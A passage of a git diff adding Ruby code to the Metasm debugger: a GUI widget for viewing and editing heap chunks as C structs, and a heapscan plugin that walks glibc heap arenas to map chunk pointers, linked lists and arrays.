+            st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct }
+            raise '?' if not st
+            st = st.struct
+            m = st.fldlist[mn]
+          else
+            st = b[:line_struct][@caret_y].struct
+          end
+          inputbox("new type for #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn|
+            nil while @heap.cp.readtok
+            @heap.cp.lexer.feed nn
+            if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true)
+              nil while @heap.cp.readtok
+              raise 'bad type'
+            end
+            v.parse_declarator(@heap.cp, @heap.cp.toplevel)
+            nt = v.type
+            nsz = @heap.cp.sizeof(nt)
+            osz = @heap.cp.sizeof(m)
+            if nsz > osz and st.kind_of?(C::Struct)
+              idx = st.members.index(m)
+              # eat next members
+              while nsz > osz
+                break if idx+1 >= st.members.length
+                sz = @heap.cp.sizeof(st.members.delete_at(idx+1))
+                osz += sz
+              end
+            end
+            if nsz < osz and st.kind_of?(C::Struct)
+              idx = st.members.index(m)
+              pos = st.offsetof(@heap.cp, m)
+              # fill gap with bytes
+              idx += 1
+              while nsz < osz
+                st.members[idx, 0] = [C::Variable.new(('unk_%x' % (pos+nsz)), C::BaseType.new(:__int8, :unsigned))]
+                idx += 1
+                nsz += 1
+              end
+            end
+            m.type = nt
+            st.update_member_cache(@heap.cp)
+            gui_update
+          }
+
+        end
+      end
+    when ?n
+      # rename struct field
+      if b = @caret_box
+        if @caret_y == 0
+          st = @addr_struct[b.id].struct
+          inputbox("new name for #{st.name}", :text => st.name) { |nn|
+            raise "struct #{nn} already exists (try 't')" if @heap.cp.toplevel.struct[nn]
+            @heap.cp.toplevel.struct[nn] = @heap.cp.toplevel.struct.delete(st.name)
+            st.name = nn
+            gui_update
+          }
+        elsif m = b[:line_member][@caret_y]
+          if m.kind_of?(Integer)
+            mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1]
+            ar = b[:line_struct][@caret_y]
+            st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct }
+            raise '?' if not st
+            st = st.struct
+            m = st.fldlist[mn]
+          else
+            st = b[:line_struct][@caret_y].struct
+          end
+          inputbox("new name for #{m.name}", :text => m.name) { |nn|
+            m.name = nn
+            st.update_member_cache(@heap.cp)
+            gui_update
+          }
+        end
+      end
+    when ?e
+      # edit struct field value under the cursor
+      if b = @caret_box
+        # TODO b[:struct][line], b.[:member][line] (int for Arrays)
+        st = b[:line_struct][@caret_y]
+        mb = b[:line_member][@caret_y]
+        if st and mb
+          if mb.kind_of?(C::Variable) and mb.type.kind_of?(C::Array) and mb.type.type.kind_of?(C::BaseType) and mb.type.type.name == :char
+            defval = st[mb].to_array.pack('C*').gsub(/\0*$/, '').gsub(/[^\x20-\x7e]/, '.')
+            string = true
+          else
+            defval = st[mb]
+            string = false
+          end
+          inputbox("new value for #{mb.respond_to?(:name) ? mb.name : mb}", :text => defval.to_s) { |nn|
+            if string
+              am = st[mb]
+              (nn.unpack('C*') + [0]).each_with_index { |b_, i| am[i] = b_ }
+            else
+              st[mb] = Expression.parse_string(nn).reduce
+            end
+            gui_update
+          }
+        end
+      end
+    when ?x
+      # show heap xrefs to the hilighted chunk
+      if b = @caret_box
+        list = [['address', 'size']]
+        @heap.xrchunksfrom[b.id].to_a.each { |a|
+          list << [Expression[a], Expression[@heap.chunks[a]]]
+        }
+        if list.length == 1
+          messagebox "no xref to #{Expression[b.id]}"
+        else
+          listwindow("heap xrefs to #{Expression[b.id]}", list) { |i| @parent_widget.focus_addr(i[0], nil, true) }
+        end
+      end
+    when ?I
+      # insert new field in struct
+      if b = @caret_box
+        if m = b[:line_member][@caret_y]
+          if m.kind_of?(Integer)
+            # XXX Array, need to find the outer struct
+            mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1]
+            ar = b[:line_struct][@caret_y]
+            st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct }
+            raise '?' if not st
+            st = st.struct
+            m = st.fldlist[mn]
+          else
+            st = b[:line_struct][@caret_y].struct
+          end
+          inputbox("new type to insert before #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn|
+            nil while @heap.cp.readtok
+            @heap.cp.lexer.feed nn
+            if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true)
+              nil while @heap.cp.readtok
+              raise 'bad type'
+            end
+            v.parse_declarator(@heap.cp, @heap.cp.toplevel)
+            nt = v.type
+            idx = st.members.index(m)
+            pos = st.offsetof(@heap.cp, m)
+            name = oname = v.name || ('unk_%x_new' % pos)
+            cntr = 0
+            while st.members.find { |m_| m_.name == name }
+              name = oname + "_#{cntr+=1}"
+            end
+            st.members[idx, 0] = [C::Variable.new(name, nt)]
+            st.update_member_cache(@heap.cp)
+            gui_update
+          }
+
+        end
+      end
+    when ?S
+      # delete structure field
+      if b = @caret_box
+        if m = b[:line_member][@caret_y]
+          if m.kind_of?(Integer)
+            # XXX Array, need to find the outer struct
+            mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1]
+            ar = b[:line_struct][@caret_y]
+            st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct }
+            raise '?' if not st
+            st = st.struct
+            m = st.fldlist[mn]
+          else
+            st = b[:line_struct][@caret_y].struct
+          end
+          inputbox("delete #{m.name} ?") { |nn|
+            idx = st.members.index(m)
+            st.members.delete_at(idx)
+            st.update_member_cache(@heap.cp)
+            gui_update
+          }
+
+        end
+      end
+    when ?+
+      # append blocks linked from the currently shown blocks to the display
+      @addr_struct.keys.each { |ak|
+        @heap.xrchunksto[ak].to_a.each { |nt|
+          next if @addr_struct[nt]
+          # TODO check if the pointer is a some_struct*
+          st = @heap.chunk_struct[nt] || create_struct(nt)
+          ed = @dasm.get_edata_at(nt)
+          @addr_struct[nt] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr)
+        }
+      }
+      gui_update
+    when ?-
+      # remove graph leaves in an attempt to undo ?+
+      unk = @addr_struct.keys.find_all { |ak|
+        (@heap.xrchunksto[ak].to_a & @addr_struct.keys).empty?
+      }
+      unk.each { |ak| @addr_struct.delete ak if @addr_struct.length > 1 }
+      gui_update
+    else return super(k)
+    end
+    true
+  end
+
+  # create the graph objects in ctx
+  def build_ctx(ctx)
+    # create boxes
+    todo = ctx.root_addrs.dup & @addr_struct.keys
+    todo << @addr_struct.keys.first if todo.empty?
+    done = []
+    while a = todo.shift
+      next if done.include? a
+      done << a
+      ctx.new_box a, :line_text_col => [], :line_address => [], :line_struct => [], :line_member => []
+      todo.concat @heap.xrchunksto[a].to_a & @addr_struct.keys
+    end
+
+    # link boxes
+    if (@heap.xrchunksto[ctx.box.first.id].to_a & @addr_struct.keys).length == ctx.box.length - 1
+      ot = ctx.box[0].id
+      ctx.box[1..-1].each { |b_|
+        ctx.link_boxes(ot, b_.id)
+      }
+    else
+      ctx.box.each { |b|
+        @heap.xrchunksto[b.id].to_a.each { |t|
+          ctx.link_boxes(b.id, t) if @addr_struct[t]
+        }
+      }
+    end
+
+    if snapped
+      @datadiff = {}
+    end
+
+    # calc box dimensions/text
+    ctx.box.each { |b|
+      colstr = []
+      curaddr = b.id
+      curst = @addr_struct[b.id]
+      curmb = nil
+      margin = ''
+      start_addr = curaddr
+      if snapped
+        ghosts = snapped[curaddr]
+      end
+      line = 0
+      render = lambda { |str, col| colstr << [str, col] }
+      nl = lambda {
+        b[:line_address][line] = curaddr
+        b[:line_text_col][line] = colstr
+        b[:line_struct][line] = curst
+        b[:line_member][line] = curmb
+        colstr = []
+        line += 1
+      }
+      render_val = lambda { |v|
+        if v.kind_of?(::Integer)
+          if v > 0x100
+            render['0x%X' % v, :text]
+          elsif v < -0x100
+            render['-0x%X' % -v, :text]
+          else
+            render[v.to_s, :text]
+          end
+        elsif not v
+          render['NULL', :text]
+        else
+          render[v.to_s, :text]
+        end
+      }
+      render_st = nil
+      render_st_ar = lambda { |ast, m|
+        elemt = m.type.untypedef.type.untypedef
+        if elemt.kind_of?(C::BaseType) and elemt.name == :char
+          render[margin, :text]
+          render["#{m.type.type.to_s[1...-1]} #{m.name}[#{m.type.length}] = #{ast[m].to_array.pack('C*').sub(/\0.*$/m, '').inspect}", :text]
+          nl[]
+          curaddr += ast.cp.sizeof(m)
+        else
+          t = m.type.type.to_s[1...-1]
+          tsz = ast.cp.sizeof(m.type.type)
+          fust = curst
+          fumb = curmb
+          curst = ast[m]
+          ast[m].to_array.each_with_index { |v, i|
+            curmb = i
+            render[margin, :text]
+            if elemt.kind_of?(C::Union)
+              if m.type.untypedef.type.kind_of?(C::Union)
+                render[elemt.kind_of?(C::Struct) ? 'struct ' : 'union ', :text]
+                render["#{elemt.name} ", :text] if elemt.name
+              else # typedef
+                render["#{elemt.to_s[1...-1]} ", :text]
+              end
+              render_st[v]
+              render[" #{m.name}[#{i}]", :text]
+            else
+              render["#{t} #{m.name}[#{i}] = ", :text]
+              render_val[v]
+              @datadiff[curaddr] = true if ghosts and ghosts.all? { |g| g[curaddr-start_addr, tsz] == ghosts[0][curaddr-start_addr, tsz] } and ghosts[0][curaddr-start_addr, tsz] != ast.str[curaddr, tsz].to_str
+            end
+            render[';', :text]
+            nl[]
+            curaddr += tsz
+          }
+          curst = fust
+          curmb = fumb
+        end
+      }
+      render_st = lambda { |ast|
+        st_addr = curaddr
+        oldst = curst
+        oldmb = curmb
+        oldmargin = margin
+        render['{', :text]
+        nl[]
+        margin += '    '
+        curst = ast
+        ast.struct.members.each { |m|
+          curmb = m
+          curaddr = st_addr + ast.struct.offsetof(@heap.cp, m)
+
+          if bo = ast.struct.bitoffsetof(@heap.cp, m)
+            # float curaddr to make ghost hilight work on bitfields
+            curaddr += (1+bo[0])/1000.0
+          end
+
+          if m.type.untypedef.kind_of?(C::Array)
+            render_st_ar[ast, m]
+          elsif m.type.untypedef.kind_of?(C::Union)
+            render[margin, :text]
+            if m.type.kind_of?(C::Union)
+              render[m.type.kind_of?(C::Struct) ? 'struct ' : 'union ', :text]
+              render["#{m.type.name} ", :text] if m.type.name
+            else # typedef
+              render["#{m.type.to_s[1...-1]} ", :text]
+            end
+            oca = curaddr
+            render_st[ast[m]]
+            nca = curaddr
+            curaddr = oca
+            render[" #{m.name if m.name};", :text]
+            nl[]
+            curaddr = nca
+          else
+            render[margin, :text]
+            render["#{m.type.to_s[1...-1]} ", :text]
+            render["#{m.name} = ", :text]
+            render_val[ast[m]]
+            tsz = ast.cp.sizeof(m)
+            # TODO bit-level multighosting
+            if ghosts and ghosts.all? { |g| g[curaddr.to_i-start_addr, tsz] == ghosts[0][curaddr.to_i-start_addr, tsz] } and ghosts[0][curaddr.to_i-start_addr, tsz] != ast.str[curaddr.to_i, tsz].to_str
+              if bo
+                ft = C::BaseType.new((bo[0] + bo[1] > 32) ? :__int64 : :__int32)
+                v1 = @heap.cp.decode_c_value(ghosts[0][curaddr.to_i-start_addr, tsz], ft, 0)
+                v2 = @heap.cp.decode_c_value(ast.str[curaddr.to_i, tsz], ft, 0)
+                @datadiff[curaddr] = true if (v1 >> bo[0]) & ((1 << bo[1])-1) != (v2 >> bo[0]) & ((1 << bo[1])-1)
+              else
+                @datadiff[curaddr] = true
+              end
+            end
+            render[';', :text]
+
+            if m.type.kind_of?(C::Pointer) and m.type.type.kind_of?(C::BaseType) and m.type.type.name == :char
+              if s = @dasm.decode_strz(ast[m], 32)
+                render["    // #{s.inspect}", :comment]
+              end
+            end
+            nl[]
+            curaddr += tsz
+            curaddr = curaddr.to_i if bo
+          end
+        }
+        margin = oldmargin
+        curst = oldst
+        curmb = oldmb
+        render[margin, :text]
+        render['}', :text]
+      }
+      ast = @addr_struct[curaddr]
+      render["struct #{ast.struct.name} *#{'0x%X' % curaddr} = ", :text]
+      render_st[ast]
+      render[';', :text]
+      nl[]
+
+      b.w = b[:line_text_col].map { |strc| strc.map { |s, c| s }.join.length }.max.to_i * @font_width + 2
+      b.w += 1 if b.w % 2 == 0
+      b.h = line * @font_height
+    }
+  end
+
+  def struct_find_roots(addr)
+    addr = @addr_struct.keys.find { |a| addr >= a and addr < a+@addr_struct[a].sizeof } if not @addr_struct[addr]
+
+    todo = [addr]
+    done = []
+    roots = []
+    default_root = nil
+    while a = todo.shift
+      if done.include?(a) # cycle
+        default_root ||= a
+        next
+      end
+      done << a
+      newf = @heap.xrchunksfrom[a].to_a & @addr_struct.keys
+      if newf.empty?
+        roots << a
+      else
+        todo.concat newf
+      end
+    end
+    roots << default_root if roots.empty? and default_root
+
+    roots
+  end
+
+  def focus_addr(addr, fu=nil)
+    return if @parent_widget and not addr = @parent_widget.normalize(addr)
+
+    # move window / change curcontext
+    if b = @curcontext.box.find { |b_| b_[:line_address].index(addr) }
+      @caret_box, @caret_x, @caret_y = b, 0, b[:line_address].rindex(addr)
+      @curcontext.view_x += (width/2 / @zoom - width/2)
+      @curcontext.view_y += (height/2 / @zoom - height/2)
+      @zoom = 1.0
+
+      focus_xy(b.x, b.y + @caret_y*@font_height)
+      update_caret
+    elsif addr_struct and (@addr_struct[addr] or @addr_struct.find { |a, s| addr >= a and addr < a+s.sizeof })
+      @curcontext = Graph.new 'testic'
+      @curcontext.root_addrs = struct_find_roots(addr)
+      @want_focus_addr = addr
+      gui_update
+    elsif @heap.chunks[addr]
+      @want_focus_addr = addr
+      do_focus_addr(addr)
+    else
+      return
+    end
+    true
+  end
+
+  def do_focus_addr(addr)
+    st = @heap.chunk_struct[addr] || create_struct(addr)
+
+    ed = @dasm.get_edata_at(addr)
+    @addr_struct = { addr => @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) }
+    gui_update
+  end
+
+  # create the struct chunk_<addr>, register it in @heap.chunk_struct
+  def create_struct(addr)
+    raise "no chunk here" if not @heap.chunks[addr]
+
+    ptsz = @dasm.cpu.size/8
+
+    # check if this is a c++ object with RTTI info
+    vptr = @dasm.decode_dword(addr)
+    rtti = @dasm.decode_dword(vptr-ptsz)
+    case OS.shortname
+    when 'winos'
+      typeinfo = @dasm.decode_dword(rtti+3*ptsz) if rtti
+      if typeinfo and s = @dasm.decode_strz(typeinfo+3*ptsz)
+        rtti_name = s[/^(.*)@@$/, 1]	# remove trailing @@
+      end
+    when 'linos'
+      typeinfo = @dasm.decode_dword(rtti+ptsz) if rtti
+      if typeinfo and s = @dasm.decode_strz(typeinfo)
+        rtti_name = s[/^[0-9]+(.*)$/, 1]	# remove leading number
+      end
+    end
+
+    if rtti_name and st = @heap.cp.toplevel.struct[rtti_name]
+      return @heap.chunk_struct[addr] = st
+    end
+
+    st = C::Struct.new
+    st.name = rtti_name || "chunk_#{'%x' % addr}"
+    st.members = []
+    li = 0
+    (@heap.chunks[addr] / ptsz).times { |i|
+      n = 'unk_%x' % (ptsz*i)
+      v = @dasm.decode_dword(addr+ptsz*i)
+      if i == 0 and rtti_name
+        t = C::Pointer.new(C::Pointer.new(C::BaseType.new(:void)))
+        n = 'vtable'
+      elsif @heap.chunks[v]
+        t = C::Pointer.new(C::BaseType.new(:void))
+      else
+        t = C::BaseType.new("__int#{ptsz*8}".to_sym, :unsigned)
+      end
+      st.members << C::Variable.new(n, t)
+      li = i+1
+    }
+    (@heap.chunks[addr] % ptsz).times { |i|
+      n = 'unk_%x' % (ptsz*li+i)
+      t = C::BaseType.new(:char, :unsigned)
+      st.members << C::Variable.new(n, t)
+    }
+    @heap.cp.toplevel.struct[st.name] = st
+    @heap.chunk_struct[addr] = st
+  end
+
+  def snap
+    if not snapped
+      @datadiff = {}
+      ocb = @parent_widget.bg_color_callback
+      @parent_widget.bg_color_callback = lambda { |a|
+        if @datadiff[a]
+          'f88'
+        elsif ocb
+          ocb[a]
+        end
+      }
+    end
+    @snapped = {}
+    @addr_struct.each { |a, ast|
+      @snapped[a] = [ast.str[ast.stroff, ast.sizeof].to_str]
+    }
+  end
+
+  def snap_add
+    return snap if not snapped
+    @addr_struct.each { |a, ast|
+      (@snapped[a] ||= []) << ast.str[ast.stroff, ast.sizeof].to_str
+    }
+  end
+
+  def get_cursor_pos
+    [super, addr_struct]
+  end
+
+  def set_cursor_pos(p)
+    s, @addr_struct = p
+    super(s)
+  end
+end
+end
+end
diff --git a/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb
new file mode 100644
index 0000000000..884ff79b87
--- /dev/null
+++ b/lib/metasm/samples/dbg-plugins/heapscan/heapscan.rb
@@ -0,0 +1,709 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+module Metasm
+class Heap
+  attr_accessor :vm, :range, :ptsz
+  attr_accessor :cp
+  # hash chunk userdata pointer -> chunk userdata size
+  attr_accessor :chunks
+  # hash chunk user pointer -> C::Struct
+  attr_accessor :chunk_struct
+  # the chunk graph: chunk pointer -> [array of chunks addrs pointed]
+  attr_accessor :xrchunksto, :xrchunksfrom
+
+  def initialize(dbg)
+    @dbg = dbg
+    @dbg.pid_stuff_list << :heap
+    @dbg.heap = self
+    @range = {}
+    @dwcache = {}
+    # userdata_ptr => len
+    @chunks = {}
+    @xrchunksto = {}
+    @xrchunksfrom = {}
+    @ptsz = dbg.cpu.size/8
+    # ptr => C::Struct
+    @chunk_struct = {}
+  end
+
+  def pagecache(base, len)
+    @dbg.read_mapped_range(base, len)
+  end
+
+  def dwcache(base, len)
+    @dwcache[[base, len]] ||= pagecache(base, len).unpack(@ptsz == 4 ? 'L*' : 'Q*')
+  end
+
+  # return the array of dwords in the chunk
+  def chunkdw(ptr, len=@chunks[ptr])
+    if base = find_range(ptr)
+      dwcache(base, @range[base])[(ptr-base)/@ptsz, len/@ptsz]
+    end
+  end
+
+  # returns the list of chunks, sorted
+  def chunklist
+    @chunklist ||= @chunks.keys.sort
+  end
+
+  # dichotomic search of the chunk containing ptr
+  # len = hash ptr => length
+  # list = list of hash keys sorted
+  def find_elem(ptr, len, list=nil)
+    return ptr if len[ptr]
+
+    list ||= len.keys.sort
+
+    if list.length < 16
+      return list.find { |p| p <= ptr and p + len[p] > ptr }
+    end 
+
+    window = list
+    while window and not window.empty?
+      i = window.length/2
+      wi = window[i]
+      if ptr < wi
+        window = window[0, i]
+      elsif ptr < wi + len[wi]
+        return wi
+      else
+        window = window[i+1, i]
+      end
+    end
+  end
+
+  # find the chunk encompassing ptr
+  def find_chunk(ptr)
+    find_elem(ptr, @chunks, chunklist)
+  end
+
+  def find_range(ptr)
+    @range_keys ||= @range.keys.sort
+    find_elem(ptr, @range, @range_keys)
+  end
+
+  # { chunk size => [list of chunk addrs] }
+  attr_accessor :buckets
+  def bucketize
+    @buckets = {}
+    chunklist.each { |a|
+      (@buckets[@chunks[a]] ||= []) << a
+    }
+  end
+
+  # find the kernels of the graph (strongly connected components)
+  # must be called after scan_xr
+  # also find the graph diameter
+  attr_accessor :kernels, :maxpath
+  def find_kernels(adj = @xrchunksto)
+    @maxpath = []
+    kernels = {}
+    adj.keys.sort.each { |ptr|
+      next if kernels[ptr]
+      paths = [[ptr]]
+      while path = paths.pop
+        next if not l = @xrchunksfrom[path.first]
+        l.each { |pl|
+          next if kernels[pl]
+          next if not adj[pl]
+          if path.include?(pl)
+            kernels[pl] = true
+          else
+            paths << [pl, *path]
+          end
+        }
+        @maxpath = paths.last if paths.last and paths.last.length > @maxpath.length
+      end
+    }
+    if @maxpath.first and np = (adj[@maxpath.last] - @maxpath).first
+      @maxpath << np
+    end
+    @kernels = []
+    while k = kernels.index(true)
+      curk = reachfrom(k, adj).find_all { |ok|
+        true == reachfrom(ok, adj) { |tk|
+          break true if tk == k
+        }
+      }
+      @kernels << curk
+      curk.each { |ka| kernels.delete ka }
+    end
+  end
+
+  attr_accessor :roots
+  # find the root nodes that allow acces to most other nodes
+  # { root => [reachable nodes] }
+  # does not include single nodes (@chunks.keys - @xrchunksfrom.keys)
+  def find_roots(adj=@xrchunksto)
+    @roots = {}
+    adj.keys.sort.each { |r|
+      if not @roots[r]
+        l = reachfrom(r, adj, @roots)
+        l.each { |t| @roots[t] = true if adj[t] }	# may include r !, also dont mark leaves
+        @roots[r] = l
+      end
+    }
+    @roots.delete_if { |k, v| v == true }
+  end
+
+  def reachfrom(p, adj = @xrchunksto, roots={})
+    return roots[p] if roots[p].kind_of? Array
+    hash = {}
+    todo = [p]
+    while p = todo.pop
+      if to = roots[p] || adj[p] and to.kind_of? Array
+        to.each { |tk|
+          if not hash[tk]
+            hash[tk] = true
+            todo << tk
+            yield tk if block_given?
+          end
+        }
+      end
+    end
+    hash.keys
+  end
+
+  # create a subset of xrchunksto from one point
+  def graph_from(p, adj = @xrchunksto)
+    hash = {}
+    todo = [p]
+    while p = todo.pop
+      next if hash[p]
+      if adj[p]
+        hash[p] = adj[p]
+        todo.concat hash[p]
+      end
+    end
+    hash
+  end
+
+  # dump the whole graph in a dot file
+  def dump_graph(fname='graph.gv', graph=@xrchunksto)
+    File.open(fname, 'w') { |fd|
+      fd.puts "digraph foo {"
+      graph.each { |b, l|
+        fd.puts l.map { |e| '"%x" -> "%x";' % [b, e] }
+      }
+      fd.puts "}"
+    }
+  end
+
+  # chunk ptr => { dwindex => [list of ptrs] }
+  attr_accessor :linkedlists, :alllists
+  def find_linkedlists
+    @linkedlists = {}
+    @alllists = []
+    @buckets.sort.each { |sz, lst|
+      #puts "sz #{sz} #{lst.length}"
+      lst.each { |ptr|
+        next if not l = @xrchunksto[ptr]
+        next if not l.find { |tg| @chunks[tg] == sz }
+        dw = chunkdw(ptr)
+        dw.length.times { |dwoff|
+          next if @linkedlists[ptr] and @linkedlists[ptr][dwoff]
+          tg = dw[dwoff]
+          next if @chunks[tg] != sz
+          check_linkedlist(ptr, dwoff)
+        }
+      }
+    }
+  end
+
+  def check_linkedlist(ptr, dwoff)
+    psz = @chunks[ptr]
+    fwd = ptr
+    lst = [fwd]
+    base = find_range(fwd)
+    loop do
+      if not base or base > fwd or base + @range[base] <= fwd
+        base = find_range(fwd)
+      end
+      break if not base
+      fwd = dwcache(base, @range[base])[(fwd-base)/@ptsz + dwoff]
+      break if fwd == 0
+      return if not cl = @chunks[fwd] # XXX root/tail may be in .data
+      return if cl != psz
+      break if lst.include? fwd
+      lst << fwd
+    end
+    fwd = ptr
+    while pv = @xrchunksfrom[fwd]
+      fwd = pv.find { |p|
+        next if @chunks[p] != psz
+        if not base or base > p or base + @range[base] <= p
+          base = find_range(fwd)
+        end
+        dwcache(base, @range[base])[(p-base)/@ptsz + dwoff] == fwd
+      }
+      break if not fwd
+      break if lst.include? fwd
+      lst.unshift fwd
+    end
+    if lst.length > 3
+      lst.each { |p| (@linkedlists[p] ||= {})[dwoff] = lst }
+      @alllists << lst
+    end
+  end
+
+  # { chunkinarray => { rootptr => [chunks] } }
+  attr_accessor :arrays, :allarrays
+  def find_arrays
+    @arrays = {}
+    @allarrays = []
+    @buckets.sort.each { |sz, lst|
+      next if sz < @ptsz*6
+      lst.each { |ptr|
+        next if not to = @xrchunksto[ptr]
+        # a table must have at least half its storage space filled with ptrs
+        next if to.length <= sz/@ptsz/2
+        # also, ptrs must point to same-size stuff
+        lsz = Hash.new(0)
+        to.each { |t| lsz[@chunks[t]] += 1 }
+        cnt = lsz.values.max
+        next if cnt <= sz/@ptsz/2
+        tgsz = lsz.index(cnt)
+        ar = to.find_all { |t| @chunks[t] == tgsz }.uniq
+        next if ar.length <= sz/@ptsz/2
+        ar.each { |p| (@arrays[p] ||= {})[ptr] = ar }
+        @allarrays << ar
+      }
+    }
+  end
+end
+
+class LinuxHeap < Heap
+  # find all chunks in the memory address space
+  attr_accessor :mmaps
+
+  def scan_chunks
+    @chunks = {}
+    each_heap { |a, l, ar|
+      scan_heap(a, l, ar)
+    }
+    @mmapchunks = []
+    @mmaps.each { |a, l|
+      ll = scan_mmap(a, l) || 4096
+      a += ll
+      l -= ll
+    }
+  end
+
+  # scan all chunks for cross-references (one chunk contaning a pointer to some other chunk)
+  def scan_chunks_xr
+    @xrchunksto = {}
+    @xrchunksfrom = {}
+    each_heap { |a, l, ar|
+      scan_heap_xr(a, l)
+    }
+    @mmapchunks.each { |a|
+      scan_mmap_xr(a, @chunks[a])
+    }
+  end
+
+  # scan chunks from a heap base addr
+  def scan_heap(base, len, ar)
+    dw = dwcache(base, len)
+    ptr = 0
+
+    psz = dw[ptr]
+    sz = dw[ptr+1]
+    base += 2*@ptsz	# user pointer
+    raise "bad heap base %x %x  %x %x" % [psz, sz, base, len] if psz != 0 or sz & 1 == 0
+
+    loop do
+      clen = sz & -8	# chunk size
+      ptr += clen/@ptsz	# start of next chk
+      break if ptr >= dw.length or clen == 0
+      sz = dw[ptr+1]
+      if sz & 1 > 0	# pv_inuse
+        # user data length up to chucksize-4 (over next psz)
+        #puts "used #{'%x' % base} #{clen-@ptsz}" if $VERBOSE
+        @chunks[base] = clen-@ptsz
+      else
+        #puts "free #{'%x' % base} #{clen-@ptsz}" if $VERBOSE
+      end
+      base += clen
+    end
+
+    del_fastbin(ar)
+  end
+
+  def scan_heap_xr(base, len)
+    dw = dwcache(base, len)
+    @chunks.each_key { |p|
+      i = (p-base) / @ptsz
+      if i >= 0 and i < dw.length
+        lst = dw[i, @chunks[p]/@ptsz].find_all { |pp| @chunks[pp] }
+        @xrchunksto[p] = lst if not lst.empty?
+        lst.each { |pp| (@xrchunksfrom[pp] ||= []) << p }
+      end
+    }
+  end
+
+  # scan chunks from a mmap base addr
+  # big chunks are allocated on anonymous-mmap areas
+  # for mmap chunks, pv_sz=0 pv_inuse=0, mmap=1, data starts at 8, mmapsz = userlen+12 [roundup 4096]
+  # one entry in /proc/pid/maps may point to multiple consecutive mmap chunks
+  # scans for a mmap chunk header, returns the chunk size if pattern match or nil
+  def scan_mmap(base, len)
+    foo = chunkdata(base)
+    clen = foo[1] & ~0xfff
+    if foo[0] == 0 and foo[1] & 0xfff == 2 and clen > 0 and clen <= len
+      @chunks[base + foo.length] = clen-4*@ptsz
+      @mmapchunks << (base + foo.length)
+      clen
+    end
+  end
+
+  def scan_mmap_xr(base, len)
+    dw = dwcache(base, len)
+    lst = dw[2..-1].find_all { |pp| @chunks[pp] }
+    @xrchunksto[base] = lst if not lst.empty?
+    lst.each { |pp| (@xrchunksfrom[pp] ||= []) << base }
+  end
+
+  attr_accessor :main_arena_ptr
+
+  # we need to find the main_arena from the libc
+  # we do this by analysing 'malloc_trim'
+  def scan_libc(addr)
+    raise 'no libc' if not addr
+
+    return if @main_arena_ptr = @dbg.symbols.index('main_arena')
+
+    unless trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim')
+      @dbg.loadsyms 'libc[.-]'
+      trim = @dbg.symbols.index('malloc_trim') || @dbg.symbols.index('weak_malloc_trim')
+    end
+    raise 'cant find malloc_trim' if not trim
+
+    d = @dbg.disassembler
+
+    d.disassemble_fast(trim) if not d.di_at(trim)
+    if d.block_at(trim).list.last.opcode.name == 'call'
+      # x86 getip, need to dasm to have func_binding (cross fingers)
+      d.disassemble d.block_at(trim).to_normal.first
+    end
+    d.each_function_block(trim) { |b|
+      # mutex_lock(&main_arena.mutex) gives us the addr
+      next if not cmpxchg = d.block_at(b).list.find { |di| di.kind_of? DecodedInstruction and di.opcode.name == 'cmpxchg' }
+      @main_arena_ptr = d.backtrace(cmpxchg.instruction.args.first.symbolic.pointer, cmpxchg.address)
+      if @main_arena_ptr.length == 1
+        @main_arena_ptr = @main_arena_ptr[0].reduce
+        break
+      end
+    }
+    raise "cant find mainarena" if not @main_arena_ptr.kind_of? Integer
+    @dbg.symbols[@main_arena_ptr] = 'main_arena'
+  end
+
+  def chunkdata(ptr)
+    @cp.decode_c_ary('uintptr_t', 2, @dbg.memory, ptr).to_array
+  end
+
+  def each_heap
+    if not @cp.toplevel.struct['malloc_state']
+      @cp.parse <<EOS
+// TODO autotune these 2 defines..
+#define THREAD_STATS 0
+//#define PER_THREAD
+
+#define NFASTBINS 10
+#define NBINS 128
+#define BINMAPSIZE (NBINS/32)
+
+struct malloc_state {
+  int mutex;
+  int flags;
+#if THREAD_STATS
+  long stat_lock_direct, stat_lock_loop, stat_lock_wait;
+#endif
+  void *fastbinsY[NFASTBINS];
+  void *top;
+  void *last_remainder;
+  void *bins[NBINS * 2 - 2];	// *2: double-linked list
+  unsigned int binmap[BINMAPSIZE];
+  struct malloc_state *next;
+#ifdef PER_THREAD
+  struct malloc_state *next_free;
+#endif
+  uintptr_t system_mem;	// XXX int32?
+  uintptr_t max_system_mem;
+};
+
+struct heap_info {
+  struct malloc_state *ar_ptr; // Arena for this heap.
+  struct _heap_info *prev; // Previous heap.
+  uintptr_t size;   // Current size in bytes. XXX int32?
+  uintptr_t mprotect_size; // Size in bytes that has been mprotected
+};
+EOS
+    end
+
+    ptr = @main_arena_ptr
+    loop do
+      ar = @cp.decode_c_struct('malloc_state', @dbg.memory, ptr)
+      if ptr == @main_arena_ptr
+        # main arena: find start from top.end - system_mem
+        toplen = chunkdata(ar.top)[1] & -8
+        yield ar.top + toplen - ar.system_mem, ar.system_mem, ar
+      else
+        # non-main arena: find heap_info for top, follow list
+        iptr = ar.top & -0x10_0000	# XXX
+        while iptr
+          hi = @cp.decode_c_struct('heap_info', @dbg.memory, iptr)
+          off = hi.sizeof
+          off += ar.sizeof if iptr+off == hi.ar_ptr
+          yield iptr+off, hi.size-off, ar
+
+          iptr = hi.prev
+        end
+      end
+
